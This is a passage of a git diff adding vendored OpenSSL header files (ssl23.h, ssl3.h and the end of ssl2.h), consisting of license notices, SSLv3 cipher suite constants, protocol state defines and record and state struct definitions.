SSL2_ST_SEND_SERVER_VERIFY_A (0x40|SSL_ST_ACCEPT) +#define SSL2_ST_SEND_SERVER_VERIFY_B (0x41|SSL_ST_ACCEPT) +#define SSL2_ST_SEND_SERVER_VERIFY_C (0x42|SSL_ST_ACCEPT) +#define SSL2_ST_GET_CLIENT_FINISHED_A (0x50|SSL_ST_ACCEPT) +#define SSL2_ST_GET_CLIENT_FINISHED_B (0x51|SSL_ST_ACCEPT) +#define SSL2_ST_SEND_SERVER_FINISHED_A (0x60|SSL_ST_ACCEPT) +#define SSL2_ST_SEND_SERVER_FINISHED_B (0x61|SSL_ST_ACCEPT) +#define SSL2_ST_SEND_REQUEST_CERTIFICATE_A (0x70|SSL_ST_ACCEPT) +#define SSL2_ST_SEND_REQUEST_CERTIFICATE_B (0x71|SSL_ST_ACCEPT) +#define SSL2_ST_SEND_REQUEST_CERTIFICATE_C (0x72|SSL_ST_ACCEPT) +#define SSL2_ST_SEND_REQUEST_CERTIFICATE_D (0x73|SSL_ST_ACCEPT) +#define SSL2_ST_SERVER_START_ENCRYPTION (0x80|SSL_ST_ACCEPT) +#define SSL2_ST_X509_GET_SERVER_CERTIFICATE (0x90|SSL_ST_ACCEPT) + +#ifdef __cplusplus +} +#endif +#endif + diff --git a/winstuff/openssl/ssl23.h b/winstuff/openssl/ssl23.h new file mode 100644 index 0000000..d322898 --- /dev/null +++ b/winstuff/openssl/ssl23.h @@ -0,0 +1,83 @@ +/* ssl/ssl23.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_SSL23_H +#define HEADER_SSL23_H + +#ifdef __cplusplus +extern "C" { +#endif + +/*client */ +/* write to server */ +#define SSL23_ST_CW_CLNT_HELLO_A (0x210|SSL_ST_CONNECT) +#define SSL23_ST_CW_CLNT_HELLO_B (0x211|SSL_ST_CONNECT) +/* read from server */ +#define SSL23_ST_CR_SRVR_HELLO_A (0x220|SSL_ST_CONNECT) +#define SSL23_ST_CR_SRVR_HELLO_B (0x221|SSL_ST_CONNECT) + +/* server */ +/* read from client */ +#define SSL23_ST_SR_CLNT_HELLO_A (0x210|SSL_ST_ACCEPT) +#define SSL23_ST_SR_CLNT_HELLO_B (0x211|SSL_ST_ACCEPT) + +#ifdef __cplusplus +} +#endif +#endif + diff --git a/winstuff/openssl/ssl3.h b/winstuff/openssl/ssl3.h new file mode 100644 index 0000000..4b1e2e9 --- /dev/null +++ b/winstuff/openssl/ssl3.h @@ -0,0 +1,565 @@ +/* ssl/ssl3.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ +/* ==================================================================== + * Copyright (c) 1998-2002 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ +/* ==================================================================== + * Copyright 2002 Sun Microsystems, Inc. ALL RIGHTS RESERVED. + * ECC cipher suite support in OpenSSL originally developed by + * SUN MICROSYSTEMS, INC., and contributed to the OpenSSL project. + */ + +#ifndef HEADER_SSL3_H +#define HEADER_SSL3_H + +#ifndef OPENSSL_NO_COMP +#include +#endif +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define SSL3_CK_RSA_NULL_MD5 0x03000001 +#define SSL3_CK_RSA_NULL_SHA 0x03000002 +#define SSL3_CK_RSA_RC4_40_MD5 0x03000003 +#define SSL3_CK_RSA_RC4_128_MD5 0x03000004 +#define SSL3_CK_RSA_RC4_128_SHA 0x03000005 +#define SSL3_CK_RSA_RC2_40_MD5 0x03000006 +#define SSL3_CK_RSA_IDEA_128_SHA 0x03000007 +#define SSL3_CK_RSA_DES_40_CBC_SHA 0x03000008 +#define SSL3_CK_RSA_DES_64_CBC_SHA 0x03000009 +#define SSL3_CK_RSA_DES_192_CBC3_SHA 0x0300000A + +#define SSL3_CK_DH_DSS_DES_40_CBC_SHA 0x0300000B +#define SSL3_CK_DH_DSS_DES_64_CBC_SHA 0x0300000C +#define SSL3_CK_DH_DSS_DES_192_CBC3_SHA 0x0300000D +#define SSL3_CK_DH_RSA_DES_40_CBC_SHA 0x0300000E +#define SSL3_CK_DH_RSA_DES_64_CBC_SHA 0x0300000F +#define SSL3_CK_DH_RSA_DES_192_CBC3_SHA 0x03000010 + +#define SSL3_CK_EDH_DSS_DES_40_CBC_SHA 0x03000011 +#define SSL3_CK_EDH_DSS_DES_64_CBC_SHA 0x03000012 +#define SSL3_CK_EDH_DSS_DES_192_CBC3_SHA 0x03000013 +#define SSL3_CK_EDH_RSA_DES_40_CBC_SHA 0x03000014 +#define SSL3_CK_EDH_RSA_DES_64_CBC_SHA 0x03000015 +#define SSL3_CK_EDH_RSA_DES_192_CBC3_SHA 0x03000016 + +#define SSL3_CK_ADH_RC4_40_MD5 0x03000017 +#define SSL3_CK_ADH_RC4_128_MD5 0x03000018 +#define SSL3_CK_ADH_DES_40_CBC_SHA 0x03000019 +#define SSL3_CK_ADH_DES_64_CBC_SHA 0x0300001A +#define SSL3_CK_ADH_DES_192_CBC_SHA 0x0300001B + +#define SSL3_CK_FZA_DMS_NULL_SHA 0x0300001C +#define SSL3_CK_FZA_DMS_FZA_SHA 0x0300001D +#if 0 /* Because it clashes with KRB5, is never used any more, and is safe + to remove according to David Hopwood + of the ietf-tls list */ +#define SSL3_CK_FZA_DMS_RC4_SHA 0x0300001E +#endif + +/* VRS Additional Kerberos5 entries + */ +#define SSL3_CK_KRB5_DES_64_CBC_SHA 0x0300001E +#define SSL3_CK_KRB5_DES_192_CBC3_SHA 0x0300001F +#define SSL3_CK_KRB5_RC4_128_SHA 0x03000020 +#define SSL3_CK_KRB5_IDEA_128_CBC_SHA 0x03000021 +#define SSL3_CK_KRB5_DES_64_CBC_MD5 0x03000022 +#define SSL3_CK_KRB5_DES_192_CBC3_MD5 0x03000023 +#define SSL3_CK_KRB5_RC4_128_MD5 0x03000024 +#define SSL3_CK_KRB5_IDEA_128_CBC_MD5 0x03000025 + +#define SSL3_CK_KRB5_DES_40_CBC_SHA 0x03000026 +#define SSL3_CK_KRB5_RC2_40_CBC_SHA 0x03000027 +#define SSL3_CK_KRB5_RC4_40_SHA 0x03000028 +#define SSL3_CK_KRB5_DES_40_CBC_MD5 0x03000029 +#define SSL3_CK_KRB5_RC2_40_CBC_MD5 0x0300002A +#define SSL3_CK_KRB5_RC4_40_MD5 0x0300002B + +#define SSL3_TXT_RSA_NULL_MD5 "NULL-MD5" +#define SSL3_TXT_RSA_NULL_SHA "NULL-SHA" +#define SSL3_TXT_RSA_RC4_40_MD5 "EXP-RC4-MD5" +#define SSL3_TXT_RSA_RC4_128_MD5 "RC4-MD5" +#define SSL3_TXT_RSA_RC4_128_SHA "RC4-SHA" +#define SSL3_TXT_RSA_RC2_40_MD5 "EXP-RC2-CBC-MD5" +#define SSL3_TXT_RSA_IDEA_128_SHA "IDEA-CBC-SHA" +#define SSL3_TXT_RSA_DES_40_CBC_SHA "EXP-DES-CBC-SHA" +#define SSL3_TXT_RSA_DES_64_CBC_SHA "DES-CBC-SHA" +#define SSL3_TXT_RSA_DES_192_CBC3_SHA "DES-CBC3-SHA" + +#define SSL3_TXT_DH_DSS_DES_40_CBC_SHA "EXP-DH-DSS-DES-CBC-SHA" +#define SSL3_TXT_DH_DSS_DES_64_CBC_SHA "DH-DSS-DES-CBC-SHA" +#define SSL3_TXT_DH_DSS_DES_192_CBC3_SHA "DH-DSS-DES-CBC3-SHA" +#define SSL3_TXT_DH_RSA_DES_40_CBC_SHA "EXP-DH-RSA-DES-CBC-SHA" +#define SSL3_TXT_DH_RSA_DES_64_CBC_SHA "DH-RSA-DES-CBC-SHA" +#define SSL3_TXT_DH_RSA_DES_192_CBC3_SHA "DH-RSA-DES-CBC3-SHA" + +#define SSL3_TXT_EDH_DSS_DES_40_CBC_SHA "EXP-EDH-DSS-DES-CBC-SHA" +#define SSL3_TXT_EDH_DSS_DES_64_CBC_SHA "EDH-DSS-DES-CBC-SHA" +#define SSL3_TXT_EDH_DSS_DES_192_CBC3_SHA "EDH-DSS-DES-CBC3-SHA" +#define SSL3_TXT_EDH_RSA_DES_40_CBC_SHA "EXP-EDH-RSA-DES-CBC-SHA" +#define SSL3_TXT_EDH_RSA_DES_64_CBC_SHA "EDH-RSA-DES-CBC-SHA" +#define SSL3_TXT_EDH_RSA_DES_192_CBC3_SHA "EDH-RSA-DES-CBC3-SHA" + +#define SSL3_TXT_ADH_RC4_40_MD5 "EXP-ADH-RC4-MD5" +#define SSL3_TXT_ADH_RC4_128_MD5 "ADH-RC4-MD5" +#define SSL3_TXT_ADH_DES_40_CBC_SHA "EXP-ADH-DES-CBC-SHA" +#define SSL3_TXT_ADH_DES_64_CBC_SHA "ADH-DES-CBC-SHA" +#define SSL3_TXT_ADH_DES_192_CBC_SHA "ADH-DES-CBC3-SHA" + +#define SSL3_TXT_FZA_DMS_NULL_SHA "FZA-NULL-SHA" +#define SSL3_TXT_FZA_DMS_FZA_SHA "FZA-FZA-CBC-SHA" +#define SSL3_TXT_FZA_DMS_RC4_SHA "FZA-RC4-SHA" + +#define SSL3_TXT_KRB5_DES_64_CBC_SHA "KRB5-DES-CBC-SHA" +#define SSL3_TXT_KRB5_DES_192_CBC3_SHA "KRB5-DES-CBC3-SHA" +#define SSL3_TXT_KRB5_RC4_128_SHA "KRB5-RC4-SHA" +#define SSL3_TXT_KRB5_IDEA_128_CBC_SHA "KRB5-IDEA-CBC-SHA" +#define SSL3_TXT_KRB5_DES_64_CBC_MD5 "KRB5-DES-CBC-MD5" +#define SSL3_TXT_KRB5_DES_192_CBC3_MD5 "KRB5-DES-CBC3-MD5" +#define SSL3_TXT_KRB5_RC4_128_MD5 "KRB5-RC4-MD5" +#define SSL3_TXT_KRB5_IDEA_128_CBC_MD5 "KRB5-IDEA-CBC-MD5" + +#define SSL3_TXT_KRB5_DES_40_CBC_SHA "EXP-KRB5-DES-CBC-SHA" +#define SSL3_TXT_KRB5_RC2_40_CBC_SHA "EXP-KRB5-RC2-CBC-SHA" +#define SSL3_TXT_KRB5_RC4_40_SHA "EXP-KRB5-RC4-SHA" +#define SSL3_TXT_KRB5_DES_40_CBC_MD5 "EXP-KRB5-DES-CBC-MD5" +#define SSL3_TXT_KRB5_RC2_40_CBC_MD5 "EXP-KRB5-RC2-CBC-MD5" +#define SSL3_TXT_KRB5_RC4_40_MD5 "EXP-KRB5-RC4-MD5" + +#define SSL3_SSL_SESSION_ID_LENGTH 32 +#define SSL3_MAX_SSL_SESSION_ID_LENGTH 32 + +#define SSL3_MASTER_SECRET_SIZE 48 +#define SSL3_RANDOM_SIZE 32 +#define SSL3_SESSION_ID_SIZE 32 +#define SSL3_RT_HEADER_LENGTH 5 + +/* Due to MS stuffing up, this can change.... */ +#if defined(OPENSSL_SYS_WIN16) || \ + (defined(OPENSSL_SYS_MSDOS) && !defined(OPENSSL_SYS_WIN32)) +#define SSL3_RT_MAX_EXTRA (14000) +#else +#define SSL3_RT_MAX_EXTRA (16384) +#endif + +#define SSL3_RT_MAX_PLAIN_LENGTH 16384 +#ifdef OPENSSL_NO_COMP +#define SSL3_RT_MAX_COMPRESSED_LENGTH SSL3_RT_MAX_PLAIN_LENGTH +#else +#define SSL3_RT_MAX_COMPRESSED_LENGTH (1024+SSL3_RT_MAX_PLAIN_LENGTH) +#endif +#define SSL3_RT_MAX_ENCRYPTED_LENGTH (1024+SSL3_RT_MAX_COMPRESSED_LENGTH) +#define SSL3_RT_MAX_PACKET_SIZE (SSL3_RT_MAX_ENCRYPTED_LENGTH+SSL3_RT_HEADER_LENGTH) +#define SSL3_RT_MAX_DATA_SIZE (1024*1024) + +#define SSL3_MD_CLIENT_FINISHED_CONST "\x43\x4C\x4E\x54" +#define SSL3_MD_SERVER_FINISHED_CONST "\x53\x52\x56\x52" + +#define SSL3_VERSION 0x0300 +#define SSL3_VERSION_MAJOR 0x03 +#define SSL3_VERSION_MINOR 0x00 + +#define SSL3_RT_CHANGE_CIPHER_SPEC 20 +#define SSL3_RT_ALERT 21 +#define SSL3_RT_HANDSHAKE 22 +#define SSL3_RT_APPLICATION_DATA 23 + +#define SSL3_AL_WARNING 1 +#define SSL3_AL_FATAL 2 + +#define SSL3_AD_CLOSE_NOTIFY 0 +#define SSL3_AD_UNEXPECTED_MESSAGE 10 /* fatal */ +#define SSL3_AD_BAD_RECORD_MAC 20 /* fatal */ +#define SSL3_AD_DECOMPRESSION_FAILURE 30 /* fatal */ +#define SSL3_AD_HANDSHAKE_FAILURE 40 /* fatal */ +#define SSL3_AD_NO_CERTIFICATE 41 +#define SSL3_AD_BAD_CERTIFICATE 42 +#define SSL3_AD_UNSUPPORTED_CERTIFICATE 43 +#define SSL3_AD_CERTIFICATE_REVOKED 44 +#define SSL3_AD_CERTIFICATE_EXPIRED 45 +#define SSL3_AD_CERTIFICATE_UNKNOWN 46 +#define SSL3_AD_ILLEGAL_PARAMETER 47 /* fatal */ + +typedef struct ssl3_record_st + { +/*r */ int type; /* type of record */ +/*rw*/ unsigned int length; /* How many bytes available */ +/*r */ unsigned int off; /* read/write offset into 'buf' */ +/*rw*/ unsigned char *data; /* pointer to the record data */ +/*rw*/ unsigned char *input; /* where the decode bytes are */ +/*r */ unsigned char *comp; /* only used with decompression - malloc()ed */ +/*r */ unsigned long epoch; /* epoch number, needed by DTLS1 */ +/*r */ PQ_64BIT seq_num; /* sequence number, needed by DTLS1 */ + } SSL3_RECORD; + +typedef struct ssl3_buffer_st + { + unsigned char *buf; /* at least SSL3_RT_MAX_PACKET_SIZE bytes, + * see ssl3_setup_buffers() */ + size_t len; /* buffer size */ + int offset; /* where to 'copy from' */ + int left; /* how many bytes left */ + } SSL3_BUFFER; + +#define SSL3_CT_RSA_SIGN 1 +#define SSL3_CT_DSS_SIGN 2 +#define SSL3_CT_RSA_FIXED_DH 3 +#define SSL3_CT_DSS_FIXED_DH 4 +#define SSL3_CT_RSA_EPHEMERAL_DH 5 +#define SSL3_CT_DSS_EPHEMERAL_DH 6 +#define SSL3_CT_FORTEZZA_DMS 20 +/* SSL3_CT_NUMBER is used to size arrays and it must be large + * enough to contain all of the cert types defined either for + * SSLv3 and TLSv1. + */ +#define SSL3_CT_NUMBER 7 + + +#define SSL3_FLAGS_NO_RENEGOTIATE_CIPHERS 0x0001 +#define SSL3_FLAGS_DELAY_CLIENT_FINISHED 0x0002 +#define SSL3_FLAGS_POP_BUFFER 0x0004 +#define TLS1_FLAGS_TLS_PADDING_BUG 0x0008 + +typedef struct ssl3_state_st + { + long flags; + int delay_buf_pop_ret; + + unsigned char read_sequence[8]; + unsigned char read_mac_secret[EVP_MAX_MD_SIZE]; + unsigned char write_sequence[8]; + unsigned char write_mac_secret[EVP_MAX_MD_SIZE]; + + unsigned char server_random[SSL3_RANDOM_SIZE]; + unsigned char client_random[SSL3_RANDOM_SIZE]; + + /* flags for countermeasure against known-IV weakness */ + int need_empty_fragments; + int empty_fragment_done; + + SSL3_BUFFER rbuf; /* read IO goes into here */ + SSL3_BUFFER wbuf; /* write IO goes into here */ + + SSL3_RECORD rrec; /* each decoded record goes in here */ + SSL3_RECORD wrec; /* goes out from here */ + + /* storage for Alert/Handshake protocol data received but not + * yet processed by ssl3_read_bytes: */ + unsigned char alert_fragment[2]; + unsigned int alert_fragment_len; + unsigned char handshake_fragment[4]; + unsigned int handshake_fragment_len; + + /* partial write - check the numbers match */ + unsigned int wnum; /* number of bytes sent so far */ + int wpend_tot; /* number bytes written */ + int wpend_type; + int wpend_ret; /* number of bytes submitted */ + const unsigned char *wpend_buf; + + /* used during startup, digest all incoming/outgoing packets */ + EVP_MD_CTX finish_dgst1; + EVP_MD_CTX finish_dgst2; + + /* this is set whenerver we see a change_cipher_spec message + * come in when we are not looking for one */ + int change_cipher_spec; + + int warn_alert; + int fatal_alert; + /* we allow one fatal and one warning alert to be outstanding, + * send close alert via the warning alert */ + int alert_dispatch; + unsigned char send_alert[2]; + + /* This flag is set when we should renegotiate ASAP, basically when + * there is no more data in the read or write buffers */ + int renegotiate; + int total_renegotiations; + int num_renegotiations; + + int in_read_app_data; + + struct { + /* actually only needs to be 16+20 */ + unsigned char cert_verify_md[EVP_MAX_MD_SIZE*2]; + + /* actually only need to be 16+20 for SSLv3 and 12 for TLS */ + unsigned char finish_md[EVP_MAX_MD_SIZE*2]; + int finish_md_len; + unsigned char peer_finish_md[EVP_MAX_MD_SIZE*2]; + int peer_finish_md_len; + + unsigned long message_size; + int message_type; + + /* used to hold the new cipher we are going to use */ + SSL_CIPHER *new_cipher; +#ifndef OPENSSL_NO_DH + DH *dh; +#endif + +#ifndef OPENSSL_NO_ECDH + EC_KEY *ecdh; /* holds short lived ECDH key */ +#endif + + /* used when SSL_ST_FLUSH_DATA is entered */ + int next_state; + + int reuse_message; + + /* used for certificate requests */ + int cert_req; + int ctype_num; + char ctype[SSL3_CT_NUMBER]; + STACK_OF(X509_NAME) *ca_names; + + int use_rsa_tmp; + + int key_block_length; + unsigned char *key_block; + + const EVP_CIPHER *new_sym_enc; + const EVP_MD *new_hash; +#ifndef OPENSSL_NO_COMP + const SSL_COMP *new_compression; +#else + char *new_compression; +#endif + int cert_request; + } tmp; + + } SSL3_STATE; + + +/* SSLv3 */ +/*client */ +/* extra state */ +#define SSL3_ST_CW_FLUSH (0x100|SSL_ST_CONNECT) +/* write to server */ +#define SSL3_ST_CW_CLNT_HELLO_A (0x110|SSL_ST_CONNECT) +#define SSL3_ST_CW_CLNT_HELLO_B (0x111|SSL_ST_CONNECT) +/* read from server */ +#define SSL3_ST_CR_SRVR_HELLO_A (0x120|SSL_ST_CONNECT) +#define SSL3_ST_CR_SRVR_HELLO_B (0x121|SSL_ST_CONNECT) +#define DTLS1_ST_CR_HELLO_VERIFY_REQUEST_A (0x126|SSL_ST_CONNECT) +#define DTLS1_ST_CR_HELLO_VERIFY_REQUEST_B (0x127|SSL_ST_CONNECT) +#define SSL3_ST_CR_CERT_A (0x130|SSL_ST_CONNECT) +#define SSL3_ST_CR_CERT_B (0x131|SSL_ST_CONNECT) +#define SSL3_ST_CR_KEY_EXCH_A (0x140|SSL_ST_CONNECT) +#define SSL3_ST_CR_KEY_EXCH_B (0x141|SSL_ST_CONNECT) +#define SSL3_ST_CR_CERT_REQ_A (0x150|SSL_ST_CONNECT) +#define SSL3_ST_CR_CERT_REQ_B (0x151|SSL_ST_CONNECT) +#define SSL3_ST_CR_SRVR_DONE_A (0x160|SSL_ST_CONNECT) +#define SSL3_ST_CR_SRVR_DONE_B (0x161|SSL_ST_CONNECT) +/* write to server */ +#define SSL3_ST_CW_CERT_A (0x170|SSL_ST_CONNECT) +#define SSL3_ST_CW_CERT_B (0x171|SSL_ST_CONNECT) +#define SSL3_ST_CW_CERT_C (0x172|SSL_ST_CONNECT) +#define SSL3_ST_CW_CERT_D (0x173|SSL_ST_CONNECT) +#define SSL3_ST_CW_KEY_EXCH_A (0x180|SSL_ST_CONNECT) +#define SSL3_ST_CW_KEY_EXCH_B (0x181|SSL_ST_CONNECT) +#define SSL3_ST_CW_CERT_VRFY_A (0x190|SSL_ST_CONNECT) +#define SSL3_ST_CW_CERT_VRFY_B (0x191|SSL_ST_CONNECT) +#define SSL3_ST_CW_CHANGE_A (0x1A0|SSL_ST_CONNECT) +#define SSL3_ST_CW_CHANGE_B (0x1A1|SSL_ST_CONNECT) +#define SSL3_ST_CW_FINISHED_A (0x1B0|SSL_ST_CONNECT) +#define SSL3_ST_CW_FINISHED_B (0x1B1|SSL_ST_CONNECT) +/* read from server */ +#define SSL3_ST_CR_CHANGE_A (0x1C0|SSL_ST_CONNECT) +#define SSL3_ST_CR_CHANGE_B (0x1C1|SSL_ST_CONNECT) +#define SSL3_ST_CR_FINISHED_A (0x1D0|SSL_ST_CONNECT) +#define SSL3_ST_CR_FINISHED_B (0x1D1|SSL_ST_CONNECT) +#define SSL3_ST_CR_SESSION_TICKET_A (0x1E0|SSL_ST_CONNECT) +#define SSL3_ST_CR_SESSION_TICKET_B (0x1E1|SSL_ST_CONNECT) +#define SSL3_ST_CR_CERT_STATUS_A (0x1F0|SSL_ST_CONNECT) +#define SSL3_ST_CR_CERT_STATUS_B (0x1F1|SSL_ST_CONNECT) + +/* server */ +/* extra state */ +#define SSL3_ST_SW_FLUSH (0x100|SSL_ST_ACCEPT) +/* read from client */ +/* Do not change the number values, they do matter */ +#define SSL3_ST_SR_CLNT_HELLO_A (0x110|SSL_ST_ACCEPT) +#define SSL3_ST_SR_CLNT_HELLO_B (0x111|SSL_ST_ACCEPT) +#define SSL3_ST_SR_CLNT_HELLO_C (0x112|SSL_ST_ACCEPT) +/* write to client */ +#define DTLS1_ST_SW_HELLO_VERIFY_REQUEST_A (0x113|SSL_ST_ACCEPT) +#define DTLS1_ST_SW_HELLO_VERIFY_REQUEST_B (0x114|SSL_ST_ACCEPT) +#define SSL3_ST_SW_HELLO_REQ_A (0x120|SSL_ST_ACCEPT) +#define SSL3_ST_SW_HELLO_REQ_B (0x121|SSL_ST_ACCEPT) +#define SSL3_ST_SW_HELLO_REQ_C (0x122|SSL_ST_ACCEPT) +#define SSL3_ST_SW_SRVR_HELLO_A (0x130|SSL_ST_ACCEPT) +#define SSL3_ST_SW_SRVR_HELLO_B (0x131|SSL_ST_ACCEPT) +#define SSL3_ST_SW_CERT_A (0x140|SSL_ST_ACCEPT) +#define SSL3_ST_SW_CERT_B (0x141|SSL_ST_ACCEPT) +#define SSL3_ST_SW_KEY_EXCH_A (0x150|SSL_ST_ACCEPT) +#define SSL3_ST_SW_KEY_EXCH_B (0x151|SSL_ST_ACCEPT) +#define SSL3_ST_SW_CERT_REQ_A (0x160|SSL_ST_ACCEPT) +#define SSL3_ST_SW_CERT_REQ_B (0x161|SSL_ST_ACCEPT) +#define SSL3_ST_SW_SRVR_DONE_A (0x170|SSL_ST_ACCEPT) +#define SSL3_ST_SW_SRVR_DONE_B (0x171|SSL_ST_ACCEPT) +/* read from client */ +#define SSL3_ST_SR_CERT_A (0x180|SSL_ST_ACCEPT) +#define SSL3_ST_SR_CERT_B (0x181|SSL_ST_ACCEPT) +#define SSL3_ST_SR_KEY_EXCH_A (0x190|SSL_ST_ACCEPT) +#define SSL3_ST_SR_KEY_EXCH_B (0x191|SSL_ST_ACCEPT) +#define SSL3_ST_SR_CERT_VRFY_A (0x1A0|SSL_ST_ACCEPT) +#define SSL3_ST_SR_CERT_VRFY_B (0x1A1|SSL_ST_ACCEPT) +#define SSL3_ST_SR_CHANGE_A (0x1B0|SSL_ST_ACCEPT) +#define SSL3_ST_SR_CHANGE_B (0x1B1|SSL_ST_ACCEPT) +#define SSL3_ST_SR_FINISHED_A 